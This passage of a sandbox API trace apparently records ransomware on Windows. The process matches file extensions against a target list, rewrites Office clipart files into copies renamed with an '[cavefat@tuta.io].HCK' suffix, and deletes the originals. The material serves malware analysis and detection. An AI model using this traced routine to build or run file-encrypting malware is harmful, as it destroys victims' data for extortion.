(lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.910] lstrlenW (lpString=".ppt") returned 4 [0229.911] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.911] lstrlenW (lpString=".zip") returned 4 [0229.911] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.911] lstrlenW (lpString=".rar") returned 4 [0229.911] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.911] lstrlenW (lpString=".bz2") returned 4 [0229.911] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.911] lstrlenW (lpString=".7z") returned 3 [0229.911] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.911] lstrlenW (lpString=".dbf") returned 4 [0229.911] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.911] lstrlenW (lpString=".1cd") returned 4 [0229.911] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.911] lstrlenW (lpString=".jpg") returned 4 [0229.911] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.911] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.911] lstrlenW (lpString="GRID_01.MID") returned 11 [0229.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.912] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6331) returned 1 [0229.912] CloseHandle (hObject=0x4d4) returned 1 [0229.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0229.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.912] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.913] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0229.913] GetLastError () returned 0x0 [0229.913] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x18bb, lpOverlapped=0x0) returned 1 [0229.914] WriteFile (in: hFile=0x54c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x18c0, lpOverlapped=0x0) returned 1 [0229.915] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.915] WriteFile (in: hFile=0x54c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xea, lpOverlapped=0x0) returned 1 [0229.916] SetEndOfFile (hFile=0x54c) returned 1 [0229.916] CloseHandle (hObject=0x54c) returned 1 [0229.916] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.916] SetEndOfFile (hFile=0x4d4) returned 1 [0229.918] CloseHandle (hObject=0x4d4) returned 1 [0229.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0229.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.919] lstrlenW (lpString=".doc") returned 4 [0229.919] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.919] lstrlenW (lpString=".docx") returned 5 [0229.919] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.919] lstrlenW (lpString=".pdf") returned 4 [0229.919] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.919] lstrlenW (lpString=".xls") returned 4 [0229.919] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.919] lstrlenW (lpString=".xlsx") returned 5 [0229.919] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.919] lstrlenW (lpString=".ppt") returned 4 [0229.919] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.919] lstrlenW (lpString=".zip") returned 4 [0229.919] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.919] lstrlenW (lpString=".rar") returned 4 [0229.919] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.919] lstrlenW (lpString=".bz2") returned 4 [0229.919] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.919] lstrlenW (lpString=".7z") returned 3 [0229.919] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.919] lstrlenW (lpString=".dbf") returned 4 [0229.919] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.919] lstrlenW (lpString=".1cd") returned 4 [0229.919] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.919] lstrlenW (lpString=".jpg") returned 4 [0229.919] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.919] lstrlenW (lpString=".doc") returned 4 [0229.919] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.919] lstrlenW (lpString=".docx") returned 5 [0229.919] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.920] lstrlenW (lpString=".pdf") returned 4 [0229.920] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.920] lstrlenW (lpString=".xls") returned 4 [0229.920] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.920] lstrlenW (lpString=".xlsx") returned 5 [0229.920] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.920] lstrlenW (lpString=".ppt") returned 4 [0229.920] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.920] lstrlenW (lpString=".zip") returned 4 [0229.920] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.920] lstrlenW (lpString=".rar") returned 4 [0229.920] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.920] lstrlenW (lpString=".bz2") returned 4 [0229.920] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.920] lstrlenW (lpString=".7z") returned 3 [0229.920] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.920] lstrlenW (lpString=".dbf") returned 4 [0229.920] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.920] lstrlenW (lpString=".1cd") returned 4 [0229.920] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0229.920] lstrlenW (lpString=".jpg") returned 4 [0229.920] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.920] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.920] lstrlenW (lpString="HTECH_01.MID") returned 12 [0229.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.017] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7178) returned 1 [0230.017] CloseHandle (hObject=0x4d4) returned 1 [0230.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0230.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.399] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.399] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0230.400] GetLastError () returned 0x0 [0230.400] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1c0a, lpOverlapped=0x0) returned 1 [0230.402] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1c10, lpOverlapped=0x0) returned 1 [0230.403] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.403] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.403] SetEndOfFile (hFile=0x4c0) returned 1 [0230.403] CloseHandle (hObject=0x4c0) returned 1 [0230.403] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.403] SetEndOfFile (hFile=0x534) returned 1 [0230.405] CloseHandle (hObject=0x534) returned 1 [0230.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0230.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.406] lstrlenW (lpString=".doc") returned 4 [0230.406] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.406] lstrlenW (lpString=".docx") returned 5 [0230.406] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.406] lstrlenW (lpString=".pdf") returned 4 [0230.406] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.406] lstrlenW (lpString=".xls") returned 4 [0230.406] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.406] lstrlenW (lpString=".xlsx") returned 5 [0230.406] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.406] lstrlenW (lpString=".ppt") returned 4 [0230.406] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.406] lstrlenW (lpString=".zip") returned 4 [0230.406] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.406] lstrlenW (lpString=".rar") returned 4 [0230.406] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.406] lstrlenW (lpString=".bz2") returned 4 [0230.407] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.407] lstrlenW (lpString=".7z") returned 3 [0230.407] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.407] lstrlenW (lpString=".dbf") returned 4 [0230.407] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.407] lstrlenW (lpString=".1cd") returned 4 [0230.407] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.407] lstrlenW (lpString=".jpg") returned 4 [0230.407] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.407] lstrlenW (lpString=".doc") returned 4 [0230.407] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.407] lstrlenW (lpString=".docx") returned 5 [0230.407] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.407] lstrlenW (lpString=".pdf") returned 4 [0230.407] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.407] lstrlenW (lpString=".xls") returned 4 [0230.407] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.407] lstrlenW (lpString=".xlsx") returned 5 [0230.407] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.407] lstrlenW (lpString=".ppt") returned 4 [0230.407] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.407] lstrlenW (lpString=".zip") returned 4 [0230.407] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.407] lstrlenW (lpString=".rar") returned 4 [0230.407] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.407] lstrlenW (lpString=".bz2") returned 4 [0230.407] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.407] lstrlenW (lpString=".7z") returned 3 [0230.407] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.407] lstrlenW (lpString=".dbf") returned 4 [0230.407] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.407] lstrlenW (lpString=".1cd") returned 4 [0230.407] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0230.407] lstrlenW (lpString=".jpg") returned 4 [0230.407] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.408] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.408] lstrlenW (lpString="PARNT_04.MID") returned 12 [0230.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.408] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6070) returned 1 [0230.408] CloseHandle (hObject=0x534) returned 1 [0230.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220 [0230.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.409] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.409] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0230.409] GetLastError () returned 0x0 [0230.409] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x17b6, lpOverlapped=0x0) returned 1 [0230.411] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x17c0, lpOverlapped=0x0) returned 1 [0230.411] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.411] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.411] SetEndOfFile (hFile=0x4c0) returned 1 [0230.412] CloseHandle (hObject=0x4c0) returned 1 [0230.412] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.412] SetEndOfFile (hFile=0x534) returned 1 [0230.413] CloseHandle (hObject=0x534) returned 1 [0230.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0230.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.414] lstrlenW (lpString=".doc") returned 4 [0230.414] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.415] lstrlenW (lpString=".docx") returned 5 [0230.415] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0230.415] lstrlenW (lpString=".pdf") returned 4 [0230.415] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.415] lstrlenW (lpString=".xls") returned 4 [0230.415] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.415] lstrlenW (lpString=".xlsx") returned 5 [0230.415] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0230.415] lstrlenW (lpString=".ppt") returned 4 [0230.415] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.415] lstrlenW (lpString=".zip") returned 4 [0230.415] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.415] lstrlenW (lpString=".rar") returned 4 [0230.415] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.415] lstrlenW (lpString=".bz2") returned 4 [0230.415] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.415] lstrlenW (lpString=".7z") returned 3 [0230.415] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.415] lstrlenW (lpString=".dbf") returned 4 [0230.415] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.415] lstrlenW (lpString=".1cd") returned 4 [0230.415] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.415] lstrlenW (lpString=".jpg") returned 4 [0230.415] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.416] lstrlenW (lpString=".doc") returned 4 [0230.416] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.416] lstrlenW (lpString=".docx") returned 5 [0230.416] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0230.416] lstrlenW (lpString=".pdf") returned 4 [0230.416] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.416] lstrlenW (lpString=".xls") returned 4 [0230.416] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.416] lstrlenW (lpString=".xlsx") returned 5 [0230.416] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0230.416] lstrlenW (lpString=".ppt") returned 4 [0230.416] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.416] lstrlenW (lpString=".zip") returned 4 [0230.416] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.416] lstrlenW (lpString=".rar") returned 4 [0230.416] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.416] lstrlenW (lpString=".bz2") returned 4 [0230.416] lstrcmpiW 